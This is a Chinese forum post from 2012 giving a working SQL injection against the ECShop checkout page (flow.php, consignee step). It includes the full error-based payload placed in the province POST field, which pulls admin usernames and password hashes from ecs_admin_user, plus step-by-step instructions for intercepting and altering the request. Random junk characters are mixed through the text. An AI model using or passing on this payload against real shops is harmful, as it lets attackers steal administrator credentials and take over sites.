感谢欠杀的黑盒
/ j3 `7 E" Q7 ]7 i# D2 g$ s: M: |. b3 E! n
# \+ f! H6 ~1 G' i$ c6 ~; L+ d2 b
把任意商品加入购物车在填写配送地址那一页，有地区选择" q- g# O- C4 v( H8 E
- Z" a% {% I' Y: gflow.php?step=consignee&direct_shopping=1
7 b! Q) \( v6 R3 N& h/ f比如省选择安徽
0 D; p% ]. @' p/ q& G - l0 {: ~# @7 a4 W e, z- q2 i
其中POST数据如下* n1 a9 A; r* F* W! d7 m
' @: y( f, J: `( H% A% hcountry=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3% X5 \- O3 C% H0 ^: l
改成! |9 |1 u! t2 l0 e3 ?2 ?
4 l0 A) X8 v$ gprovince=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
. i- ?4 f$ k7 }$ d: s$ o& i, I* `. Qps：详细的方法，用火狐tamper data插件……..即可改post内容…..
$ H( ^8 Q! E3 ^+ x4 N" b ! V* F# b# c% A: ~4 K" L
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包$ l4 x( Y: O! t7 U- B; n
8 t+ ` d- E' c9 K6 X4 L% P% v
就会回显错误页面了。。。。9 o6 X% b4 F2 F3 a5 w K/ H
9 ?' e7 J3 Y* l( A- K, l" {
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的0 J( b: y3 j3 o( L( v! S
|
发表于 2012-12-31 09:19:27
收藏
支持
反对